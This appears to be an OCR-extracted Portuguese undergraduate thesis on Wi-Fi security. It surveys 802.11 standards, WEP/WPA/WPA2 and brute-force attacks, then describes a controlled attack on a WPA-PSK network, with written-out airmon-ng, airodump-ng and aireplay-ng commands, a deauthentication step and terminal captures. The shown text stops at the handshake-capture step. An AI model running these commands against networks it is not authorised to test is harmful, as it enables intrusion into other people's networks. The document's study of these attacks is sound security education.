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RESUMO

A evolugédo e massificagdo da tecnologia de redes sem fio tém servido de
grande ajuda para empresas e pessoas, pois fornece uma maior mobilidade e
flexibilidade. Entretanto, pela sua facilidade de acesso algumas preocupacdes séo
levantadas, uma delas é a seguranca das informacdes que circulam em sua rede
que talvez seja a mais importante, sendo assim as empresas necessitam de
especialistas que possam proteger seus dados e redes de invasores mal-
intencionados. Levando isso em consideracdo, essa pesquisa tem como objetivo
realizar um estudo sobre técnicas de invaséo a redes sem fio, a fim de demonstrar
0S riscos que 0s usuarios estdo expostos nos dias atuais, exemplificando também
por meio de um ataque de forca bruta utilizando listas numéricas, as chamadas
Wordlists, geradas por uma ferramenta disponivel em um sistema operacional
voltado para testes de penetracdo, o sistema Kali Linux. Ao final da pesquisa é
apresentado o desempenho dos ataques realizados, mostrando a ineficacia de um
ataque de forca bruta, isto é mostrado por meio de estatisticas de tempo
necessarias para se quebrar uma senha com, por exemplo, oito caracteres,
ressaltando a importancia da utilizagdo de senhas mais longas e complexas em um
ambiente empresarial ou doméstico. Este trabalho visou contribuir com informacdes
relevantes e orientagBes sobre a area de seguranca da informacdo voltada para

redes sem fio.

Palavras-chave: Seguranca. Redes sem fio. Teste de penetracdo. Vulnerabilidade.

Forca-Bruta.



ABSTRACT

The evolution and massification of wireless networking technology have been
helpful to companies and people. That is because this type of technology provides a
greater mobility and flexibility. However, because of its access facility, some
concerns are brought up. One of them is the security of the information that passes
through your network and that may be the most important one. Therefore, companies
need experts who can protect your data and networking from ill-intentioned hackers.
Taking this into consideration, this research purpose is to accomplish a study about
hacking techniques to wireless networking with the objective to present the risks that
network users are exposed to nowadays. Using as an example, a brute-force attack
that utilizes numbered lists, called Wordlists, created by a tool available in an
operating system, Kali Linux, directed to penetration tests. By the end of this
research is presented the performance of fulfiled attacks, demonstrating the
inefficiency of a brute-force attack, this is shown through statistics of time needed to
break a password with, for example, eight characters, highlighting the importance of
using longer and complex passwords in business or domestic environment. This
study aim was to contribute with valuable knowledge and orientations about the
information security field directed to wireless networking..

Keywords: Security. Wireless networking. Penetration test. Vulnerability. Brute force.
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1 INTRODUCAO

A tecnologia de redes de computadores permite ter uma forma-padréo para
compartilhar recursos fisicos e légicos (MENDES, 2007). Um produto da evolugéo
desta tecnologia é a rede sem fio, hoje em dia com o auxilio disto, da evolucdo da
internet, e principalmente da internet moével, é possivel possuir celulares, periféricos,
carros, roupas e talvez em um futuro proximo até casas conectadas em uma rede a
todo o momento, sem a necessidade de se estar fixa em um so lugar.

A primeira rede sem fio ou em inglés Wireless, que empregou a técnica de
envio de pacotes utilizando ondas de radio ao invés de utilizar cabos ponto a ponto,
foi criada na década de 70 no Hawaii, sendo utilizada por uma universidade para
troca de informagbes (MENDES, 2007). Apds isso comecaram a serem
desenvolvidas mais redes sem fio utilizando outras tecnologias, como o
infravermelho (TANENBAUM, 2003). A tecnologia Wireless ganhou notoriedade nas
pequenas e grandes empresas, pela facilidade em mobilidade e organizacdo, nao
sendo mais preciso varios cabos pelo chdo e furo em paredes, que muitas vezes
comprometiam a estrutura de suas instalagdes, para se conseguir uma conexao
entre varios computadores.

De acordo com a Symantec et al. (2003), os usos das redes sem fio vinham
se multiplicando cada vez mais & medida que a qualidade das mesmas estava
melhorando e os precos dos equipamentos iriam se tornando mais acessiveis. Hoje
em dia claramente que estavam corretos, a tecnologia Wi-Fi ou Wireless, que é o
nome dado a tecnologia das redes sem fio, estd presente quase que
constantemente em nosso dia a dia, desde recentemente nossas roupas e
acessorios até nossos veiculos estdo sendo desenvolvidos conectados de alguma
forma. Refor¢cando isto, Kurose e Ross et al. (2006) observam que, na época, havia
mais europeus que possuiam um celular do que um computador de mesa ou um
carro.

Apesar da facilidade e beneficios desta tecnologia ela possui muitas
vulnerabilidades, por ser transmitida via sinais de ondas de radio e em forma de
ondas eletromagnéticas, a informacéo € enviada para todas as dire¢des inclusive
atravessando paredes. Desta forma, uma pessoa que possui mas intencées com
conhecimentos e equipamentos corretos, pode facilmente interceptar essas

informacdes e utiliza-las, podendo causar prejuizos para o alvo. Os responsaveis
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pela manutengdo e seguranca de redes deste tipo devem tratar suas
vulnerabilidades e tomar medidas, para preservar os trés principais pilares da
seguranca da informacdo, a confidencialidade, a integridade e a disponibilidade
(LYRA, 2008), e evitar que qualquer pessoa ndo autorizada possa navegar por sua
rede, amenizando 0s prejuizos que podem vir a ocorrer com roubo ou manipulagéo
de informagdes. Sendo assim, justifica-se o desenvolvimento desse trabalho o
compartilhamento destas informacdes, a fim de contribuir com informacdes
relevantes e orientacbes sobre a area de seguranca da informacéo voltada para

redes sem fio.
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2 OBJETIVOS
A seguir apresentam-se 0s objetivos desta pesquisa.
2.1 OBJETIVO GERAL

Realizar um estudo sobre técnicas de invasdo a redes sem fio, a fim de
demonstrar 0s riscos que 0S Usuarios estdo expostos nos dias atuais,
exemplificando também como atacantes conseguem efetuar estes tipos de invasoées,
e, ao final da pesquisa, apresentar o desempenho dos ataques realizados por meio

de um relatério de invasao.
2.1 OBJETIVOS ESPECIFICOS

a) Analisar o funcionamento de redes sem fio.

b) Pesquisar sobre redes publicas abertas.

c) Investigar os riscos de vulnerabilidades em redes sem fio.
d) Estudar técnicas de invasao de redes sem fio.

e) Realizar uma invaséo controlada em uma rede sem fio.

f) Analisar resultados da invasao a rede sem fio.

g) Apresentar dados sobre a resisténcia do sistema a invasao.
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3 REDES DE COMPUTADORES

Como explica Mendes et al. (2007), uma boa definicAo para redes de
computadores é:

As redes de computadores estabelecem uma forma-padréo de
interligar computadores para o compartiihamento de recursos
fisicos ou logicos. Esses recursos podem ser definidos como
unidades de CD-ROM, diretérios do disco rigido, impressoras,
scanners, placa de fax modem etc. (MENDES; DOUGLAS ROCHA,
2007, p. 17).

Com a ajuda de alguns fatores, como a popularizagdo dos computadores no
ambiente empresarial e o0 baixo custo e valor final dos componentes para se
implementar uma rede, a tecnologia foi sendo massificada, decorrente disto
houveram alguns avancos nessa area. A seguir serdo dissertados sobre a tecnologia

de rede cabeada e rede sem fio.
3.1 REDES SEM FIO

Como apresentado por Engst e Fleishman et al. (2005) redes sem fio, ou em
inglés Wireless, sao redes que nao utilizam cabos para se conectar, ao invés disso é
empregado uma tecnologia de transmissao por ondas de radio.

A primeira rede sem fio era chamada de “Aloha” e foi desenvolvida em 1970
por uma universidade no Hawaii utilizando receptores de radio FM, ela era
necessaria para a conexao de sub-redes. Apesar do alto custo para se mantiver
linhas naquela época e da baixa qualidade e ndo oferecendo confiabilidade na
transmissdo de dados, a rede foi implementada transmitindo dados a 9600bps,
porém, nao foi muito utilizada por conta de problemas com limite de dados e video.
(MENDES, 2007).

A tecnologia se desenvolveu, ocorreu uma miniaturizagdo dos componentes e
massificacdo das redes sem fio, porém, também houve alguns problemas de
compatibilidade e interoperabilidade entre equipamentos. (MENDES, 2007). Em
1997 a Institute of Electrical and Electronic Engineers (IEEE) decidiu elaborar um
padrao para a utilizagdo dos equipamentos, este padrdo foi denominado 802.11
(TANENBAUM, 2003).
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3.2 PADRAO 802.11x

Criado na década de 1990 e conhecido como Wireless Fidelity (Wi-Fi) esta
presente em diversos lugares como locais de trabalho, residéncias, instituicoes
educacionais, aeroportos e etc., e € um dos principais padrdes utilizados em redes
sem fio. Neste capitulo serd tratado mais profundamente sobre este padrdo em
especifico.

De acordo com Kurose e Ross et al. (2006), existem alguns tipos de redes
baseadas neste padréo, entre eles a 802.11b tendo a taxa de dados de até 11mbps
e faixa de frequéncia de 2.4 a 2.485 GHz, era a predominante no ano de 2004, pois
estas taxas de dados ja sdo o suficiente, também as redes 802.11a e 802.11g que
possuem a maior taxa de dados dentre as mencionadas, chegando até 54mbps, e
faixa de frequéncia de 5.1 a 5.8GHz e 2.4 a 2.485 GHz respectivamente.

Os autores também citam que as trés redes possuem caracteristicas em
comum, como utilizar o mesmo protocolo de acesso e a mesma estrutura de enlace,
capacitando o hospedeiro a se conectar em outro hospedeiro sem fio ou a uma
estacdo-base, também todos os trés tipos citados podem reduzir a taxa de
transmissao alcangando distancias maiores, e permite “modo infraestrutura”, o que
quer dizer que os servigos tradicionais de rede sado fornecidos pela rede que
estiverem conectados por meio de uma estagéo-base, e o0 “modo ad hoc”, que sera

detalhado mais a frente.
3.2.1 Padrao 802.11b

Foi o primeiro padrdo a ser desenvolvido pelo IEEE especificamente para
redes Ethernet em fio e com a finalidade de suprir necessidades de empresas em
geral, como cita Mendes et al. (2007).

Este padrdo utiliza a técnica Direct Sequency Spread Spectrum (DSSS) e
opera em uma frequéncia de 2.4GHz conhecida como Industrial Scientific and
Medicinal (ISM), por ter uma frequéncia baixa estd mais suscetivel a interferéncias,
também pode operar tanto na topologia ad-hoc quanto na cliente/servidor, que é
guando todo o trafego da rede passa pelo ponto de acesso sem fio (MENDES;
2007).
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3.2.2 Padréo 802.11a

O segundo padrdo a ser desenvolvido pelo IEEE, € em média cinco vezes
mais rapido que o padrdo anterior, opera a 5.8 GHz e possui uma taxa de
transmissdo de 54mbps, porem, por disponibilizar até oito canais por ponto de

acesso ele pode ter uma taxa maior de transmissao para mais usuarios simultaneos.

Por operar em uma banda conhecida como Unlicensed National Information
Infrastructure (UNII), o padrdo possui uma maior imunidade a interferéncias
eletromagnéticas, entretanto apresenta maior dificuldade em ultrapassar paredes
(MENDES, 2007)

3.2.3 Padréo 802.11g

Tendo como objetivo aplicar o melhor dos dois padrdes anteriores, a IEEE
criou 0 802.11g, que transmite a 54 Mbps e em uma frequéncia de 2,4 GHz.

Este padrdo é totalmente compativel com o 802.11b, ou seja, € possivel
transmitir dados de placas do padrdo 802.11g para o 802.11b, sem necessidade de

se pedir autorizacdo de uso para a Anatel (MENDES, 2007).
3.2.4 Padréo 802.11n

Razoavelmente atual, este padrdo foi homologado no ultimo trimestre de
2009, ele também é conhecido como World Wide Spectrum Efficiency (WWISE), tem
foco em aumento de velocidade, cerca de 100 a 500 Mbps, e cobertura de éarea.
(RUFINO, 2011).

Uma caracteristica deste padrdo é que possui compatibilidade com padrbes
anteriores, podendo trabalhar com canais de 40 MHz e 20 MHz, porém, a velocidade
oscila para 135 Mbps (RUFINO, 2011).

3.3 MODO INFRAESTRUTURA

Neste modo cada ponto de acesso é responsavel por coordenar a conexao de

estacdes moveis da area aceitando ou ndo a insercdo de novas estacdes na rede,
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também colhe estatisticas de gerenciamento do canal ajudando a definir quando
uma estacao deve ser controlada por outro ponto de acesso (MENDES, 2007).

3.4 MODO AD-HOC

Este modo néo utiliza um ponto de acesso, ou Access Point em inglés, ao
servidor, isso é possivel, por exemplo, em um ambiente com varios computadores
onde um serve como roteador compartilhando o acesso a internet e 0s outros se
conectando diretamente a este computador, gerando uma rede de troca de dados
temporaria entre si, redes simples que se comunicacao por multiplas estacées séo
formadas por ela (MENDES, 2007).

3.5 PROTOCOLOS DE SEGURANCA

Em redes sem fio existem alguns protocolos de seguranca criados para
proteger o acesso a sua rede, do mais antigo para o mais novo sao eles, Wired
Equivalent Privacy (WEP), Wi-Fi Protected Access (WPA) e Wi-Fi Protected Access
Il (WPA2).

Primeiramente como explica Demartini et al. (2013) em um artigo para o site
TecMundo, o protocolo WEP foi criado em 1999, sendo compativel com
praticamente todos os dispositivos WiFi disponiveis no mercado. Porém, por ser um
sistema de seguranca de 128 bits, ou seja, possui poucos caracteres possiveis de
combinacdes sendo possivel com o0 processamento de computadores mais atuais,
descobrir a senha de uma rede sem fio que utiliza este protocolo com alguma
facilidade por meio de um software de ataque, que sera abordado mais a frente.

Sendo assim, o WEP foi tirado de circulacdo em 2004, dando espac¢o ao
protocolo WPA que possuia um sistema de encriptacédo de 256 bits, possuindo uma
maior combinagcdo de caracteres para uma senha, e uma seguran¢ga muito maior
para as redes. O problema deste protocolo-padrao € que muita coisa foi
reaproveitada de seu antecessor, trazendo de volta muitos problemas antigos
também, incluindo um método dos hackers quebrarem o algoritmo de senha deste
protocolo ndo com forga bruta, que seria muitas tentativas de senha até finalmente
encontrar a correta, e sim por meio de sistemas suplementares, herdados do
protocolo WEP, que serviam para facilitar a configuracdo e conexdo entre
dispositivos antigos e modernos (DEMARTINI, 2013).
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E, finalmente, em 2006 foi implementado o WPA2, devido a o Advanced
Encryption Standard (AES), que seria um padrdo para a seguranca das informacdes,
e o0 Counter Cipher Mode (CCMP), um mecanismo de encriptacdo, alguns
especialistas dizem que o risco de invasdo utlizando o protocolo WPA2 é
praticamente zero.

Porém, novamente devido a programacfes de compatibilidade para ligacédo
de roteadores antigos, os hackers podem se conectar a sua rede possuindo acesso
normal e conseguindo assumir o controle de outros dispositivos ligados a rede, ou
obter dados contidos neles (DEMARTINI, 2013).



18

4 SEGURANCA DA INFORMACAO

Seguranca da informacdo pode ser considerada uma das maiores
preocupacdes de uma empresa nos dias de hoje. Sabe-se que muitas vezes o bem
mais valioso de uma grande corporag¢do pode nao ser o servico que ela proporciona
e sim as informagdes que contem.

Neste capitulo serdo abordadas algumas caracteristicas da seguranca da
informacéo, assim como vulnerabilidades e técnicas desenvolvidas para se proteger

ou obter uma informacéao.
4.1 SEGURANCA EM REDES SEM FIO

A popularizagdo das redes sem fio ndo foram nenhuma surpresa, além dos
precos mais acessiveis e desenvolvimento tecnoldgico, como dito pela Symantec et
al. (2003), houve uma pesquisa feita pela empresa de consultoria Gartner Inc.,
descobriu-se que funciondrios que utilizavam notebook obtiveram um aumento em
produtividade de meia hora a trés horas, comparando a usuarios de Desktop, e
guando a conexdo sem fio € adicionada ocorreram aumentos de até 11 horas de
produtividade durante a semana.

Entretanto a Symantec et al. (2016) também cita que, de acordo com Laura
Garcia-Manrique, gerente da Group Product - Wireless da Symantec, casos como
perda de dispositivos moveis contendo informa¢des importantes, interceptacdo da
transmissdo da rede sem fio a medida que viaja, entre outras coisas, demonstram
como a seguranca neste tipo de rede ainda € um dos maiores problemas
enfrentados por gerentes de TI.

Para Laura et al. (2016), “a definicdo de politicas e padrbes para os
dispositivos sem fio & imprescindivel’, ou seja, determinar procedimentos e
limitacdes na utilizacdo de alguns equipamentos, também o que deve ou ndo ser
armazenado e qual tecnologia de seguranca deve ser implementada visando
garantir Confiabilidade, Integridade da informacao, Disponibilidade da Rede, que séo
as trés bases da seguranca da informagédo e serdo mais bem explicados mais a
frente no trabalho, porém, como observado por Caruso e Steffen et al. (1991), é
impossivel obter-se seguranca absoluta, pois a partir de um nivel os custos para se

manter a segurancga se tornam maiores, superando os beneficios.
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Finalizando a prépria autora citada anteriormente reconhece que apesar de
todo o cuidado na utilizacdo dentro da empresa, pela rede sem fio transmitir a
alguma distancia, alguém mal-intencionado pode facilmente se infiltrar nas
informacBes sendo necessario somente uma antena potente e algum software de
hacker que pode ser encontrado na internet (SYMANTEC, 2016).

De acordo com Lyra et al. (2008), existem alguns principais aspectos sobre a

seguranca da informacao, e eles sdo Confiabilidade, Integridade e Disponibilidade.
4.1.1 Confiabilidade

Confiabilidade é a garantia que somente as pessoas autorizadas terdo acesso

arede e as informacg@es disponibilizadas na mesma.
4.1.2 Integridade da informacao

A integridade da informacdo ndo é nada mais que garantir que os dados
transmitidos na rede cheguem inteiros e sem nenhuma alteracao de sua origem até

seu destino.
4.1.3 Disponibilidade da Rede

A disponibilidade da rede garante que a informacao tem de estar disponivel
sempre que solicitada para todas as pessoas autorizadas que necessitarem da

mesma.
4.2 VULNERABILIDADES E RISCOS

Uma das preocupagbes em questdo de seguranca em redes sem fio € a
utilizacdo do Wi-Fi Publico, hoje em dia encontrados com mais facilidade, muitas
vezes 0S usuarios ndo se perguntam quais S80 0S riscos de se conectar nestas
redes.

As redes que contem configuragcées mais avancadas de seguranca garantem
que apenas maquinas autorizadas se conectem na rede, muitas vezes essa
autenticacao é feita pelo Media Access Control (MAC) da maquina, que € um cédigo
anico que identifica o dispositivo, e como explicado por Jordéo et al. (2013) em seu
artigo, muitas redes publicas ndo garantem estas medidas de seguranca, sendo

possivel qualquer maquina se conectar na mesma rede.
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Isso gera outra preocupacao, pois Jorddo também aponta que, ao contrério
das redes domésticas onde o computador € protegido por um Firewall e uma senha
da rede que impedem que o intruso tenha facilidade no acesso e manipulacédo de
seus dados, nas redes publicas vocé é somente mais uma maquina e seu
computador estd vulneravel para que uma pessoa ma intencionada explore alguma
vulnerabilidade e acesse seus dados.

Entretanto mesmo com os riscos o0 usuario ainda pode acessar e utilizar redes
publicas, utilizando as boas praticas como manter sempre programas de seguranca
instalados e atualizados, manter Firewall ativo e ndo acessar contas de bancos ou
redes sociais que possam conter informacfes importantes, e sempre tomando
cuidados com redes falsas, que simulam as redes de estabelecimentos préximos
para roubo de informacdes, finalizando, tendo um cuidado redobrado em redes

publicas € possivel utiliza-las para fins basicos.
4.3 TECNICAS DE SEGURANCA

Na area de seguranca da informacéo a linha que divide quem defende a rede
ou sistema e quem pretende ataca-lo é de certa ténue, ambas 0s objetivos muitas
vezes utilizam as mesmas ferramentas e técnicas, e isso leva a o estudante de
seguranca da informacédo a ter de aprender utilizar softwares, técnicas e métodos

muitas vezes hackers.
4.3.1 Ataques de Forca-Bruta

De acordo com Scambray et al. (2001) um ataque que era muito utilizado
para ganhar acesso a sistemas € o de forca-bruta, que consiste em obter senhas de
acesso testando varios valores possiveis, este método procura atacar principalmente
servigcos de File Transfer Protocol (FTP), HyperText Transfer Protocol (HTTP), telnet
entre outros.

Entretanto este € um método bem lento, dependendo da complexidade da
senha, todo o processo pode levar inUmeras horas, por exemplo, como apontado por
Brostoff et al. (2004), caso tente-se decifrar uma senha de oito caracteres com ao
menos uma letra mailscula, uma mindscula e um numero, 0 processo levaria em
torno de 6354 horas, tornando a utilizacdo deste meétodo inviavel dependendo do

caso.
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4.3.2 Criptografia

A criptografia em si é talvez tdo antiga quanto Julio César, de acordo com
Kurose e Ross et al. (2006), porém, as técnicas utilizadas hoje em dia sdo mais
baseadas em progressos dos ultimos anos.

Criptografia € a técnica ou método de se escrever utilizando codigos uma
mensagem, onde somente pessoas autorizadas a receber tal informagédo saberao
como acessa-la. Posto isto, sabe-se que estas técnicas surgiram da necessidade de
se enviar informacfes sigilosas por meios de comunicacdo nao confiaveis
(ALMEIDA; MENDES, 2007).

E uma forma de protecéo da informag&o, pois caso um atacante consiga obter
dados que ndo devem ser acessados facilmente, a criptografia deixara a
informacdes fora de uma ordem logica e entendivel, onde somente quem possui a
chave da criptografia conseguira decifréd-la (ENGST; FLEISHMAN, 2005).

4.3.2.1 Criptografia de chave simétrica

Conhecida como cifra de César, € uma cifra muito simples que consiste em
substituir cada letra do alfabeto pela sua k-ézima, ou seja, se k = 3 a letra A se
transforma na letra D no texto cifrado (KUROSE; ROSS, 2006).

Existe a cifra monoalfabética, que é basicamente uma versédo aprimorada da
cifra de Cezar, ela também substitui letras pelas outras, e ao contrario da cifra citada
anteriormente esta cifra ndo se prende ao namero do K, qualquer letra pode ser
substituida por qualquer outra, desde que sO exista uma Unica letra para cada
substituicdo (KUROSE; ROSS, 2006).

4.3.2.1 Criptografia de chave publica

O conceito da utilizacdo de uma criptografia de chave publica é bem simples,
sem se aprofundar, cada usuario possui duas chaves, uma publica a disposicéo de
todos e uma secreta que somente pessoas autorizadas possuem, e para ser feita a
comunicacao primeiramente quem quer enviar a mensagem precisa conseguir a
chave publica do destinatario, apds isso se deve aplicar a chave publica de destino
juntamente com algum algoritmo de criptografia, entdo finalmente quem recebeu a
mensagem utiliza sua chave secreta para descriptografar a mensagem recebida
(KUROSE; ROSS, 2006).
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Porém esta criptografia possui algumas preocupacdes, como alguém se
passar pelo remetente ou, mesmo que o intruso que interceptar a mensagem nao
conseguir decifra-la, ele ira possuir a chave publica do destino e o padrao de
criptografia utilizado por quem enviou a mensagem, com iSso 0 atacante pode tentar
criptografar as mensagens mais provavel de serem enviados, utilizando os mesmos

métodos e talvez chegando perto da mensagem real (KUROSE; ROSS, 2006).
4.4 SISTEMAS DE SEGURANCA

Como falado anteriormente estudantes e profissionais da area de seguranca
da informacdo tem de aprender e utilizar muitas vezes as mesmas técnicas e
ferramentas utilizadas por hackers mal-intencionados, visando isso foram criados
varios sistemas de operacionais com foco em penetracao e testes de seguranca.

Sendo em sua maioria baseados em GNU/Linux, contém inumeras
ferramentas de apoio e sao facilmente encontrados na internet gratuitamente.

Nesta sesséo serdo apresentadas algumas destas distribuicdes.
4.4.1 Parrot Security OS

A Parrot Security OS é uma distribuicdo GNU/Linux baseada no Debian, é um
sistema operacional voltado para penetracdo e teste de seguranca, e possui
compiladores e interpretadores para diversas linguagens de programacdo, como
PHP, Ruby, Perl e Python, entre outros.

4.4.2 Cyborg Hawk

E uma distribuicio baseado em Ubuntu 14.04 LTS, assim como o
apresentado anteriormente, possui diversas ferramentas voltadas para a area de
seguranca da informacédo, porem o atrativo € o baixo consumo de memdria do

sistema.

4.4.3 Kali Linux

7

Também sendo uma distribuicdo GNU/Linux baseada no Debian, é
considerada um sucessor do Backtrack, que é outro sistema operacional voltado

para penetracdo em redes e testes de seguranca, porém, ja foi descontinuado.
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Assim como seu antecessor, ele possui mais de 300 ferramentas diferentes que
facilitam muito a invasdo em redes com nivel baixo de seguranca.

Este e o sistema operacional escolhido para a realizacdo deste trabalho, pois
possui as ferramentas necessarias, e por ser mais popular possui mais material e
suporte em féruns. Além do Kali Linux, também sera utilizado trés ferramentas. Elas
sdao Airodump-ng, Aireplay-ng e Aircrack-ng, elas na verdade fazem parte de um

pacote de aplicativos para verificacdo de redes sem fio.
4.4.3.1 Ferramenta Airodump-ng

Uma das ferramentas que ja vem por padrdo no sistema operacional Kali
Linux, ela é um sniffer de rede, ou seja, é responsavel pela captura e monitoramento
de pacotes criptografados de uma rede (TEWS; BECK, 2009). Apds a captura de
pacotes o Airodump-ng gera um arquivo com extensdo CAP que mais tarde é lido
pelo Aircrack-ng, que é outra ferramenta do mesmo pacote.

4.4.3.2 Ferramenta Aireplay-ng

Também sendo uma ferramenta padrdo do Kali Linux, apds a utilizacdo da
ferramenta citada anteriormente, geralmente utiliza-se a Aireplay-ng (TEWS; BECK,
2009), pois sua principal funcao é causar desautenticacdes a fim de capturar dados
de handshake da rede, causar autenticacdes falsas, repeticdo de pacote interativo,

injecdo de ARP Request forjados e reinjecdo de ARP Request.
4.4.3.3 Ferramenta Aircrack-ng

E, finalmente a ferramenta Aircrack-ng serve para uma analise de criptografia,
e também é ele o responsavel por realizar ataques a protocolos WEP/WEP2 e WPA
(TEWS; BECK, 2009). O Aircrack-ng pode recuperar a chave WEP da rede sem fio

utilizando os dados anteriormente capturados pelo Airodump-ng.
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5 TRABALHOS CORRELATOS

A seguranca da informacdo possui muitas pesquisas e informacgdes, que sao
disponibilizadas e compartilhadas constantemente por membros e pesquisadores da
area, ou seja, frequentemente diversas ferramentas, técnicas e programas Sao
desenvolvidos visando facilitar os profissionais a protegerem suas informagoes.
Entretanto, diversas ameacas surgem muitas vezes tdo rapido quanto os
pesquisadores desenvolvem medidas de protecédo, o que pode acabar prejudicando
muitas pessoas. Isso demonstra 0 qudo importante e ativa esta area acaba se
tornando, e 0 quanto seria bom termos mais profissionais interessados neste tipo de
pesquisa.

A metodologia deste trabalho foi conduzida de acordo com outras pesquisas
feitas anteriormente, utilizando programas e seguindo técnicas ja elaboradas por
outros profissionais.

De acordo com algumas pesquisas, a maioria dos ataques € feito de modo
mal-intencionado, e uma parte das vulnerabilidades é devido a ma gestdo e
configuracdo dos equipamentos de seguranca, e principalmente o mau uso da rede
por usuarios ndo cientes das politicas de seguranca.

Um dos trabalhos analisado foi o intitulado: “Analise das Vulnerabilidades de
Seguranca Existentes nas Redes Locais Sem Fio: Um Estudo de Caso do Projeto
WLACA”, de autoria de Lidiane Parente Andrade, Daniel Nelo Soares, Mauro
Margalho Coutinho e Antbnio Gomes Abelém, que aborda a seguranca em redes
sem fio que utilizam o padrédo 802.11x, que estava sendo muito adotado por
empresas e instituicbes. Este trabalho foi feito com o intuito de se transmitir
informacgdes corretas e especificas para pesquisadores e profissionais.

Para reforcar, também foi analisado o trabalho intitulado: "Analise de
Vulnerabilidades e Ataques Inerentes a Redes Sem Fio 802.11x", de autoria de Luiz
Otavio Duarte, que assim como o trabalho citado anteriormente, visa agregar um
maior conhecimento a pesquisadores, analistas e técnicos interessados em
colaborar com este tipo de pesquisa.

Sendo assim, a intencdo deste trabalho foi contribuir com informacdes
relevantes e conclusdes, também a fim de orientar mais pesquisadores, técnicos,

analistas e usuarios sobre os riscos e vulnerabilidades que pode-se estar expostos
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em redes sem fio e quais métodos sdo aconselhaveis para protecdo dos mesmos, e

talvez mantendo ativo o interesse nesta linha de pesquisa téo interessante.



26

6 METODOLOGIA

O presente trabalho foi desenvolvido em duas etapas distintas e visou
demonstrar 0s riscos que estdo expostos 0s usuarios de redes sem fio nos dias
atuais.

Foi elaborado primeiramente um material de referencial tedrico baseado em
livros, artigos, matérias online e etc., que contextualizard a origem das redes e
padrdes utilizados em redes sem fio, conjuntamente alertara sobre os riscos de se
conectar em redes publicas, foi apresentado uma breve descricdo de técnicas de
seguranca, sistemas operacionais voltados para invasao de redes e os pilares que
sao baseados a seguranca da informacéao.

Em seguida, na segunda etapa, foi realizado o desenvolvimento pratico, onde
foram utilizadas as ferramentas Airodump-ng, Aireplay-ng e Aircrack-ng, que de
acordo com alguns sites especializados em Linux e seguranca da informacao, sao
ferramentas indicadas para se manipular redes com protocolos WEP e WPA. Elas
inclusive ja vém disponiveis no sistema operacional Kali Linux voltado para
penetracdo de redes e testes de seguranca.

Foi definido o alvo da invasdo, uma rede sem fio que utiliza um roteador
Thomsom com encriptacdo WPA-PSK, e o método empregado foi o de forca bruta
utilizando um sistema operacional voltado para invasdes e testes de seguranca,
chamado Kali Linux.

Para a pesquisa foi utilizado um Notebook Intel Core i3 com 4GB de RAM,
pois é o recurso préprio do pesquisador. O sistema operacional Kali Linux foi
escolhido por ser um dos mais mencionados nas pesquisas realizadas, e por possuir
uma maior quantidade de material e suporte online e de facil acesso. Quanto ao
método de invasdo foi utilizado a forgca bruta, onde o atacante tenta varias
combinacbes de caracteres aleatorios em grande velocidade buscando a
combinacao exata.

Ao iniciar os testes, primeiramente foi utilizada a ferramenta Airmon-ng, onde
foi colocada a placa de rede do computador em modo monitor, para que fosse
possivel capturar pacotes na rede wireless usando o comando “airmon-ng start
<interface da rede>", porém, antes foi necessario utilizar o comando “airmon-ng

check kill”, para finalizar qualquer processo que pudesse causar algum problema no
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procedimento. Como apresenta a Figura 1, os comandos mencionados estao sendo
utilizados.

Figura 1 - Utilizacdo do Airmon-ng para ativagdo do modo monitor na rede.
root@kali: ~ @ ® 0

File Edit View Search Terminal Help
:~# airmon-ng check kill
Killing these processes:

PID Name
1367 wpa_supplicant

:~# airmon-ng
PHY Interface Driver Chipset

phy@ wlan0 iwlwifi Intel Corporation Centrino Advanced-N 6230 [Rainbow Peak] (rev 34)

:~# airmon-ng start wlan®
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
1984 avahi-daemon
1985 avahi-daemon

PHY Interface Driver Chipset
phy0@ wlan0 iwlwifi Intel Corporation Centrino Advanced-N 6230 [Rainbow Peak] (rev 34)

(macB80211 monitor mode vif enabled for [phy@]wlan® on [phy@]wlanBmon)
(mac80211 station mode vif disabled for [phy@]wlan@)

Fonte: Elaborada pelo autor.

Em seguida com auxilio da ferramenta Airodump-ng, foi possivel monitorar e
capturar pacotes WEP de redes sem fio proximas. Estes pacotes sao utilizados mais
tarde pela ferramenta Aircrack-ng. Como ilustrado na Figura 2, primeiramente foi
utiizado o comando “airodump-ng wlanOmon” que retorna as redes wireless

proximas com alguns dados.
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Figura 2 — Redes proximas sendo monitoradas.

root@kali: ~ e ® 0O

File Edit View Search Terminal Help
CH 1 ][ Elapsed: 6 s ][ 2016-10-23 20:10

BSSID PWR Beacons #Data, #/s MB  ENC CIPHER AUTH ESSID
80:C6:AB:C9: - 3

6
70:62:B8:7F: =77 8 54e WPA2 CCMP PSK aguinaldo
84:A4:23: -79 6 : 54e WPA2 CCMP  PSK SEP
30:B5:C2:60: -80 7 54e. WPA2 CCMP PSK Snake 2
64:70:02: -81 3 54e. WPA2 CCMP PSK  Unknown

BSSID STATION PWR Lost

3 54e WPA TKIP PSK dolanwifi

Frames Probe

(not associated) DC:35:F1:06:F3:F0 -78 = 1
(not associated) 08:10:77:22:EC:B2 -31 - 1

(¢]
80:C6:AB:C9:2C:95 E4:58:E7:BA:4B:7D -77 - le 46 dolanwifi

Fonte: Elaborada pelo autor.

O préximo comando executado foi o comando “airodump-ng —c <canal da
rede> -w <nome da rede> --bssid <BSSID da rede> wlanOmon” onde ele captura

diretamente os pacotes da rede especificada, no caso a rede “dolanwifi’, como
ilustrado na Figura 3.

Figura 3 — Redes alvo sendo monitorada para o ataque.

root@kali: ~ @ ® ©

File Edit View Search Terminal Help
CH 11 ][ Elapsed: 6 s ][ 2016-10-23 20:11

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

80:C6:AB:C9:2C:95 -40 100 60 578 118 11 54e WPA TKIP PSK dolanwifi

STATION Rate Lost Frames Probe
E0:98:61:0E:B2:AE (€] 3y (¢] i

18:83:31:01:D9:78 18e-11 2 66
E4:58:E7:BA:4B:7D 54e- 5e 1471 528

Fonte: Elaborada pelo autor.
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Entdo foi aplicada a ferramenta Aireplay-ng, esta € uma ferramenta de
invasdo e sua principal funcdo é capturar dados e causar uma Desautenticacdo, ou
seja, este tipo de ataque faz com que o usuario conectado no ponto de acesso
“‘desautentique” e volte a se conectar com a rede, neste momento uma nova
requisicdo Address Resolution Protocol (ARP) é feita e o atacante consegue obter o
novo handshake do alvo, como ilustrado na Figura 4.

Figura 4 — Obtencao do novo handshake da rede.
root@kali: ~ @ ® 0

File Edit View Search Terminal Help

